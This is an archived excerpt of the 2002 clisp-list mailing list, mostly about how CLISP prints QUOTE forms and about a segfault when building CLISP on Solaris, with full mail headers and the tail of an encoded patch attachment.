cykgJiYgIWRlZmluZWQoTVVMVElUSFJFQUQpICYmIChTQUZFVFkgPCAyKQorI2lmIGRlZmluZWQo R05VKSAmJiAhZGVmaW5lZChfX2NwbHVzcGx1cykgJiYgIWRlZmluZWQoTVVMVElUSFJFQUQpICYm IChTQUZFVFkgPCAyKSAmJiAhZGVmaW5lZChTUEFSQykKICAgIyBPdmVydmlldyBvZiB1c2Ugb2Yg cmVnaXN0ZXJzIGluIGdjYyB0ZXJtaW5vbG9neToKICAgIyBmaXhlZDogbWVudGlvbmVkIGluIEZJ WEVEX1JFR0lTVEVSUwogICAjIHVzZWQ6ICBtZW50aW9uZWQgaW4gQ0FMTF9VU0VEX1JFR0lTVEVS UyBidXQgbm90IEZJWEVEX1JFR0lTVEVSUwo= --------------Boundary-00=_X50ND3V0EQQFF9FHL153-- From kaz@footprints.net Wed Sep 18 08:22:46 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rgf8-000776-00 for ; Wed, 18 Sep 2002 08:22:46 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 17rgf6-0002Ib-00; Wed, 18 Sep 2002 08:22:44 -0700 From: Kaz Kylheku To: Mario Mommer cc: sds@gnu.org, "Fuliang Weng (RTC)" , In-Reply-To: <3D8821ED.3060200@igpm.rwth-aachen.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: bug report Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 18 08:23:04 2002 X-Original-Date: Wed, 18 Sep 2002 08:22:44 -0700 (PDT) On Wed, 18 Sep 2002, Mario Mommer wrote: > ' is a shortcut for (quote ) and not the other way > arround, and thus the behavior expected by Mr. Weng is the correct one, > at least according to the standard. You want Lisp to recover the shorthands from the list structure also. When I write (print '(defvar *list* '(a b c))) I want to see (DEFVAR *LIST* '(A B C)) not (DEFVAR *LIST* (QUOTE (A B C))) From sds@gnu.org Wed Sep 18 09:51:35 2002 Received: from h021.c001.snv.cp.net ([209.228.32.135] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ri35-00018n-00 for ; Wed, 18 Sep 2002 09:51:35 -0700 Received: (cpmta 7207 invoked from network); 18 Sep 2002 09:51:32 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.135) with SMTP; 18 Sep 2002 09:51:32 -0700 X-Sent: 18 Sep 2002 16:51:32 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8IE2m515079; Wed, 18 Sep 2002 10:02:48 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: Tim Bradshaw Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp on Solaris References: <15752.25397.260460.367611@cley.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15752.25397.260460.367611@cley.com> Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 18 09:52:10 2002 X-Original-Date: 18 Sep 2002 10:02:48 -0400 > * In message <15752.25397.260460.367611@cley.com> > * On the subject of "[clisp-list] clisp on Solaris" > * Sent on Wed, 18 Sep 2002 12:27:49 +0100 > * Honorable Tim Bradshaw writes: > > I'm sorry not to produce a better bug report. If there's anything > easy I can do I will but I don't have time to spend a lot of time > debugging the system unfortunately. thanks for your report. > (Note I'm not subscribed to clisp-list - please cc any responses to me > if I should see them...) this discussion will be held on clisp-list only and no CCs can be promised. while we do appreciate your bug reports, we also think you should show your appreciation of our development efforts by subscribing to the mailing list. now that almost any mail reader can filter e-mail to various folders automatically, and, moreover, all clisp mailing lists are available on gmane, your position appears to me untenable. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux The difference between genius and stupidity is that genius has its limits. From mommer@igpm.rwth-aachen.de Wed Sep 18 09:54:18 2002 Received: from panoramix.vasoftware.com ([198.186.202.147]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17ri5e-0001iE-00 for ; Wed, 18 Sep 2002 09:54:14 -0700 Received: from r220-1.rz.rwth-aachen.de ([134.130.3.31]:47031) by panoramix.vasoftware.com with esmtp (Exim 4.05-VA-mm1 #1 (Debian)) id 17rhYX-0003mP-00 for ; Wed, 18 Sep 2002 09:20:01 -0700 Received: from r220-1.rz.RWTH-Aachen.DE (relay2.RWTH-Aachen.DE [134.130.3.1]) by r220-1.rz.RWTH-Aachen.DE (8.12.1/8.11.3-2) with ESMTP id g8IGCF44008218; Wed, 18 Sep 2002 18:12:15 +0200 (MEST) Received: from cupid.igpm.rwth-aachen.de ([134.130.161.206]) by r220-1.rz.RWTH-Aachen.DE (8.12.1/8.11.3/24) with ESMTP id g8IGCFrn008215; Wed, 18 Sep 2002 18:12:15 +0200 (MEST) Received: from cupid (localhost [127.0.0.1]) by cupid.igpm.rwth-aachen.de (8.11.6/8.11.6/SuSE Linux 0.5) with SMTP id g8IGCF616282; Wed, 18 Sep 2002 18:12:15 +0200 From: "Mario S. Mommer" To: clisp-list@lists.sourceforge.net Cc: wgf1pal@rtc.bosch.com Message-Id: <20020918181215.18d76649.mommer@igpm.rwth-aachen.de> In-Reply-To: References: <3D8821ED.3060200@igpm.rwth-aachen.de> X-Mailer: Sylpheed version 0.8.3 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-3.6 required=7.0 tests=IN_REP_TO,DOUBLE_CAPSWORD version=2.21 X-Spam-Level: Subject: [clisp-list] Re: bug report Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 18 09:55:06 2002 X-Original-Date: Wed, 18 Sep 2002 18:12:15 +0200 On Wed, 18 Sep 2002 08:22:44 -0700 (PDT) Kaz Kylheku wrote: > > You want Lisp to recover the shorthands from the list structure also. > > When I write > > (print '(defvar *list* '(a b c))) > > I want to see > > (DEFVAR *LIST* '(A B C)) > > not > > (DEFVAR *LIST* (QUOTE (A B C))) That is why you set *print-pretty* to t Usually you have *print-pretty* set to nil, and if you want to print code, you use pprint instead of print. then (print '(defvar *list* '(a b c))) ==> (DEFVAR *LIST* (QUOTE (A B C))) but (pprint '(defvar *list* '(a b c))) ==> (DEFVAR *LIST* '(A B C)) The solution to what bugged mr. Weng would normaly be to set *print-pretty* to nil. But CLISP prettyprints everything, ignoring *print-pretty* Regards, Mario. From wgf1pal@rtc.bosch.com Wed Sep 18 09:57:28 2002 Received: from panoramix.vasoftware.com ([198.186.202.147]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17ri8i-0003Hu-00 for ; Wed, 18 Sep 2002 09:57:24 -0700 Received: from gwa6.fe.bosch.de ([194.39.218.253]:47368) by panoramix.vasoftware.com with esmtp (Exim 4.05-VA-mm1 #1 (Debian)) id 17rhFK-00076G-00 for ; Wed, 18 Sep 2002 09:00:10 -0700 Received: (from uucp@localhost) by gwa6.fe.bosch.de (8.10.2/8.10.2) id g8IFxLO00151 for ; Wed, 18 Sep 2002 17:59:21 +0200 (MET DST) X-Authentication-Warning: gwa6.fe.bosch.de: uucp set sender to using -f Received: from fez8019.fe.internet.bosch.com(virus-out.fe.internet.bosch.de 10.4.4.19) by gwa6.fe.bosch.de via smap (V2.1) id xma000066; Wed, 18 Sep 02 17:58:36 +0200 Received: from 10.25.58.5 by fez8019.fe.internet.bosch.com (InterScan E-Mail VirusWall NT); Wed, 18 Sep 2002 17:32:03 +0200 Received: from rtc.bosch.com (palpc50 [10.25.58.70]) by palsrv5-10.pal.us.bosch.com (8.9.3+Sun/8.9.3) with ESMTP id JAA17864; Wed, 18 Sep 2002 09:00:10 -0700 (PDT) Message-ID: <3D88A25C.20102@rtc.bosch.com> From: "Fuliang Weng (RTC)" User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2 X-Accept-Language: en-us MIME-Version: 1.0 To: Kaz Kylheku CC: Mario Mommer , sds@gnu.org, clisp-list@lists.sourceforge.net References: Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=3.9 required=7.0 tests=X_AUTH_WARNING,DOUBLE_CAPSWORD,CTYPE_JUST_HTML version=2.21 X-Spam-Level: *** Subject: [clisp-list] Re: bug report Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 18 09:58:06 2002 X-Original-Date: Wed, 18 Sep 2002 08:57:16 -0700 I guess that I am not that comfused by the prented representation. But, I am really confused by the  behaviors of the printed representation, see the following:

[1]> (setq x '(quote a b c))
(QUOTE A B C)
[2]> (setq x '(a quote b c))
(A QUOTE B C)
[3]> (setq x '(a b quote c))
(A B . 'C)
[4]> (setq x '(a b c quote))
(A B C QUOTE)
[5]>

Don't you think something needs to be done for the consistency;)

--Fuliang

Kaz Kylheku wrote:
On Wed, 18 Sep 2002, Mario Mommer wrote:

'<something> is a shortcut for (quote <something>) and not the other way 
arround, and thus the behavior expected by Mr. Weng is the correct one,
at least according to the standard.

You want Lisp to recover the shorthands from the list structure also.

When I write

(print '(defvar *list* '(a b c)))

I want to see

(DEFVAR *LIST* '(A B C))

not

(DEFVAR *LIST* (QUOTE (A B C)))


From tfb@cley.com Wed Sep 18 10:29:17 2002 Received: from lostwithiel.cley.com ([212.240.242.98]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ridX-0006Av-00 for ; Wed, 18 Sep 2002 10:29:15 -0700 Received: (from tfb@localhost) by lostwithiel.cley.com (8.9.3+Sun/8.9.1) id SAA13660; Wed, 18 Sep 2002 18:28:57 +0100 (BST) X-Mailer: 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid (via feedmail 10 I); VM 7.07 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid From: Tim Bradshaw Message-ID: <15752.47064.466771.329606@cley.com> MIME-Version: 1.0 Content-Transfer-Encoding: 7bit To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp on Solaris In-Reply-To: References: <15752.25397.260460.367611@cley.com> Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 18 10:30:03 2002 X-Original-Date: Wed, 18 Sep 2002 18:28:56 +0100 * Sam Steingold wrote: > this discussion will be held on clisp-list only and no CCs can be > promised. Fine. > while we do appreciate your bug reports, we also think you should > show your appreciation of our development efforts by subscribing to > the mailing list. > now that almost any mail reader can filter e-mail to various folders > automatically, and, moreover, all clisp mailing lists are available > on gmane, your position appears to me untenable. Thanks for telling me how to live my life, it's useful to know these things. --tim From bernardp@cli.di.unipi.it Wed Sep 18 12:05:08 2002 Received: from vsmtp1.tin.it ([212.216.176.221] helo=smtp1.cp.tin.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rk8H-0005Me-00 for ; Wed, 18 Sep 2002 12:05:05 -0700 Received: from c1p4e3 (212.216.255.21) by smtp1.cp.tin.it (6.5.019) id 3D85CA90000FA117; Wed, 18 Sep 2002 21:04:53 +0200 Message-ID: <005a01c25f46$0e4a6060$15ffd8d4@c1p4e3> Reply-To: "Pierpaolo BERNARDI" From: "Pierpaolo BERNARDI" To: "Fuliang Weng \(RTC\)" Cc: , "Fuliang Weng" References: <200209171602.g8HG2iPF008735@van-halen.alma.com> <3D8746B7.9010003@rtc.bosch.com> Subject: Re: [clisp-list] bug report MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 18 12:06:09 2002 X-Original-Date: Wed, 18 Sep 2002 21:03:01 +0200 From: "Fuliang Weng (RTC)" > I would like to hear any neat and clean solutions to this (not just > treat a sentence as a string). Thanks. (setq *print-pretty* nil) P. From wgf1pal@rtc.bosch.com Wed Sep 18 12:27:00 2002 Received: from gwa6.fe.bosch.de ([194.39.218.253]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rkTT-0000PW-00 for ; Wed, 18 Sep 2002 12:26:59 -0700 Received: (from uucp@localhost) by gwa6.fe.bosch.de (8.10.2/8.10.2) id g8IJQoe20964 for ; Wed, 18 Sep 2002 21:26:50 +0200 (MET DST) X-Authentication-Warning: gwa6.fe.bosch.de: uucp set sender to using -f Received: from fez8019.fe.internet.bosch.com(virus-out.fe.internet.bosch.de 10.4.4.19) by gwa6.fe.bosch.de via smap (V2.1) id xma020956; Wed, 18 Sep 02 21:26:47 +0200 Received: from 10.25.58.5 by fez8019.fe.internet.bosch.com (InterScan E-Mail VirusWall NT); Wed, 18 Sep 2002 21:00:14 +0200 Received: from rtc.bosch.com (palpc50 [10.25.58.70]) by palsrv5-10.pal.us.bosch.com (8.9.3+Sun/8.9.3) with ESMTP id MAA19461; Wed, 18 Sep 2002 12:28:21 -0700 (PDT) Message-ID: <3D88D327.3080007@rtc.bosch.com> From: "Fuliang Weng (RTC)" User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2 X-Accept-Language: en-us MIME-Version: 1.0 To: Pierpaolo BERNARDI CC: clisp-list@lists.sourceforge.net, Fuliang Weng Subject: Re: [clisp-list] bug report References: <200209171602.g8HG2iPF008735@van-halen.alma.com> <3D8746B7.9010003@rtc.bosch.com> <005a01c25f46$0e4a6060$15ffd8d4@c1p4e3> Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 18 12:27:17 2002 X-Original-Date: Wed, 18 Sep 2002 12:25:27 -0700 Tried, not working -- same problem.


Pierpaolo BERNARDI wrote:
From: "Fuliang Weng (RTC)" <wgf1pal@rtc.bosch.com>

I would like to hear any neat and clean solutions to this (not just 
treat a sentence as a string). Thanks.

(setq *print-pretty* nil)


P.


From bernardp@cli.di.unipi.it Wed Sep 18 12:36:24 2002 Received: from vsmtp1.tin.it ([212.216.176.221] helo=smtp1.cp.tin.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rkcY-0002Yv-00 for ; Wed, 18 Sep 2002 12:36:22 -0700 Received: from c1p4e3 (212.216.255.13) by smtp1.cp.tin.it (6.5.019) id 3D85CA90000FC91C; Wed, 18 Sep 2002 21:36:15 +0200 Message-ID: <011001c25f4a$70f1ab20$15ffd8d4@c1p4e3> Reply-To: "Pierpaolo BERNARDI" From: "Pierpaolo BERNARDI" To: "Fuliang Weng \(RTC\)" Cc: , "Fuliang Weng" References: <200209171602.g8HG2iPF008735@van-halen.alma.com> <3D8746B7.9010003@rtc.bosch.com> <005a01c25f46$0e4a6060$15ffd8d4@c1p4e3> <3D88D327.3080007@rtc.bosch.com> Subject: Re: [clisp-list] bug report MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 18 12:37:03 2002 X-Original-Date: Wed, 18 Sep 2002 21:34:43 +0200 From: Fuliang Weng (RTC) > Tried, not working -- same problem. You are right. Now I remember better. It's a long standing bug. It's easily fixable, and I also submitted a patch years ago. Bruno, however, prefers the current behaviour. P. From kaz@footprints.net Wed Sep 18 13:03:14 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rl2X-00085D-00 for ; Wed, 18 Sep 2002 13:03:13 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 17rl2O-0004EI-00; Wed, 18 Sep 2002 13:03:04 -0700 From: Kaz Kylheku To: "Fuliang Weng (RTC)" cc: Pierpaolo BERNARDI , , Fuliang Weng In-Reply-To: <3D88D327.3080007@rtc.bosch.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: bug report Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 18 13:04:02 2002 X-Original-Date: Wed, 18 Sep 2002 13:03:04 -0700 (PDT) On Wed, 18 Sep 2002, Fuliang Weng (RTC) wrote: > Date: Wed, 18 Sep 2002 12:25:27 -0700 > From: "Fuliang Weng (RTC)" > To: Pierpaolo BERNARDI > Cc: clisp-list@lists.sourceforge.net, > Fuliang Weng > Subject: Re: [clisp-list] bug report > > Tried, not working -- same problem. > > > Pierpaolo BERNARDI wrote: > > From: "Fuliang Weng (RTC)" > > I would like to hear any neat and clean solutions to this (not just > treat a sentence as a string). Thanks. If you are interning new symbols at run time, for example by obtaining sentences from a user and treating words as symbol names, you should probably be doing that in a dedicated package. Otherwise you are interning symbols in the COMMON-LISP-USER package. This package imports symbols from COMMON-LISP, so whenever the reader encounters the name of a COMMON-LISP symbol, it just returns that symbol instead of interning a new one. So your user's sentence list then actually contains a mixture of pointers to symbols in COMMON-LISP-USER and to symbols in COMMON-LISP, like QUOTE and FUNCTION. If you do this, you have no way to clean up after the user! Interned symbols are not garbage collected, because their home packages serve as root references; so long as a symbol is in a package, it is always referenced. Thus by interning symbols at run time, you risk creating permanent pollution. If you intern symbols in your own custom package, you can use DELETE-PACKAGE to get rid of all of them when you are done. You probably don't want to be doing that on your COMMON-LISP-USER package! From sds@gnu.org Wed Sep 18 13:51:29 2002 Received: from h020.c001.snv.cp.net ([209.228.32.134] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rlnF-0000LT-00 for ; Wed, 18 Sep 2002 13:51:29 -0700 Received: (cpmta 22395 invoked from network); 18 Sep 2002 13:51:24 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.134) with SMTP; 18 Sep 2002 13:51:24 -0700 X-Sent: 18 Sep 2002 20:51:24 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8IHYt817673; Wed, 18 Sep 2002 13:34:55 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: Tim Bradshaw Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp on Solaris References: <15752.25397.260460.367611@cley.com> <15752.47064.466771.329606@cley.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15752.47064.466771.329606@cley.com> Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 18 13:52:03 2002 X-Original-Date: 18 Sep 2002 13:34:55 -0400 > * In message <15752.47064.466771.329606@cley.com> > * On the subject of "Re: [clisp-list] clisp on Solaris" > * Sent on Wed, 18 Sep 2002 18:28:56 +0100 > * Honorable Tim Bradshaw writes: > > * Sam Steingold wrote: > > > this discussion will be held on clisp-list only and no CCs can be > > promised. > > Fine. > > > while we do appreciate your bug reports, we also think you should > > show your appreciation of our development efforts by subscribing to > > the mailing list. > > > now that almost any mail reader can filter e-mail to various folders > > automatically, and, moreover, all clisp mailing lists are available > > on gmane, your position appears to me untenable. > > Thanks for telling me how to live my life, it's useful to know these > things. I was not telling you how to live your life. I was saying that, with all due respect, we[1] consider your request unreasonable. There is not need to get rude. [1] I say "we" because someone else ignored your request and posted to the list only _before_ I sent my reply. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Who is General Failure and why is he reading my hard disk? From sds@gnu.org Wed Sep 18 13:51:30 2002 Received: from h020.c001.snv.cp.net ([209.228.32.134] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rlnG-0000LX-00 for ; Wed, 18 Sep 2002 13:51:30 -0700 Received: (cpmta 22399 invoked from network); 18 Sep 2002 13:51:25 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.134) with SMTP; 18 Sep 2002 13:51:25 -0700 X-Sent: 18 Sep 2002 20:51:25 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8IGr9O15930; Wed, 18 Sep 2002 12:53:09 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: "Fuliang Weng (RTC)" Cc: Kaz Kylheku , Mario Mommer , clisp-list@lists.sourceforge.net References: <3D88A25C.20102@rtc.bosch.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3D88A25C.20102@rtc.bosch.com> Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] Re: bug report Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 18 13:52:04 2002 X-Original-Date: 18 Sep 2002 12:53:09 -0400 > * In message <3D88A25C.20102@rtc.bosch.com> > * On the subject of "Re: bug report" > * Sent on Wed, 18 Sep 2002 08:57:16 -0700 > * Honorable "Fuliang Weng (RTC)" writes: > > I guess that I am not that comfused by the prented representation. But, I= am really > confused by the =A0behaviors of the printed representation, see the follo= wing: > [1]> (setq x '(quote a b c)) > (QUOTE A B C) > [2]> (setq x '(a quote b c)) > (A QUOTE B C) > [3]> (setq x '(a b quote c)) > (A B . 'C) > [4]> (setq x '(a b c quote)) > (A B C QUOTE) > [5]> > Don't you think something needs to be done for the consistency;) hint: special operator QUOTE takes one single argument. --=20 Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux An elephant is a mouse with an operating system. From jmkatcher@yahoo.com Wed Sep 18 15:54:03 2002 Received: from web14503.mail.yahoo.com ([216.136.224.66]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rnhr-0005qT-00 for ; Wed, 18 Sep 2002 15:54:03 -0700 Message-ID: <20020918225402.65131.qmail@web14503.mail.yahoo.com> Received: from [198.95.226.224] by web14503.mail.yahoo.com via HTTP; Wed, 18 Sep 2002 15:54:02 PDT From: Jeffrey Katcher To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Clisp on Solaris Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 18 15:55:01 2002 X-Original-Date: Wed, 18 Sep 2002 15:54:02 -0700 (PDT) My build (Solaris 2.8/GCC 3.1.1) terminates with a seg fault when the lisp image is fired up for the 1st time. Until then, it built clean. I do have readline and libsigsegv installed (and I think iconv as well). Another data point: Trying GCC 2.95 which worked for Clisp 2.29, fails in stream.c complaining about readline crap. I'm trying a non-readline 2.95 build now, but my system isn't very fast. Jeff Katcher P.S. a FreeBSD 4.7/i386 build worked perfectly (using gcc2.95) __________________________________________________ Do you Yahoo!? Yahoo! News - Today's headlines http://news.yahoo.com From will@misconception.org.uk Wed Sep 18 16:21:33 2002 Received: from cmailm2.svr.pol.co.uk ([195.92.193.210]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ro8S-0003mX-00 for ; Wed, 18 Sep 2002 16:21:32 -0700 Received: from modem-54.avallone.dialup.pol.co.uk ([62.136.130.182] helo=there) by cmailm2.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17ro8P-00017H-00 for clisp-list@lists.sourceforge.net; Thu, 19 Sep 2002 00:21:30 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp on Solaris X-Mailer: KMail [version 1.3.2] References: <20020918225402.65131.qmail@web14503.mail.yahoo.com> In-Reply-To: <20020918225402.65131.qmail@web14503.mail.yahoo.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 18 16:22:02 2002 X-Original-Date: Thu, 19 Sep 2002 00:24:48 +0100 On Wednesday 18 Sep 2002 11:54 pm, Jeffrey Katcher wrote: > My build (Solaris 2.8/GCC 3.1.1) terminates with a seg > fault when the lisp image is fired up for the 1st > time. Until then, it built clean. Did you try the patch I posted earlier? From sds@gnu.org Wed Sep 18 17:51:42 2002 Received: from h008.c001.snv.cp.net ([209.228.32.122] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rpXi-0003Eb-00 for ; Wed, 18 Sep 2002 17:51:42 -0700 Received: (cpmta 19379 invoked from network); 18 Sep 2002 17:51:38 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.122) with SMTP; 18 Sep 2002 17:51:38 -0700 X-Sent: 19 Sep 2002 00:51:38 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8IMU9f31420; Wed, 18 Sep 2002 18:30:09 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Warnings setting FFI:DEFAULT-FOREIGN-LANGUAGE References: <200209161820.g8GIK1vm007394@van-halen.alma.com> Reply-To: sds@gnu.org X-Attribution: Sam 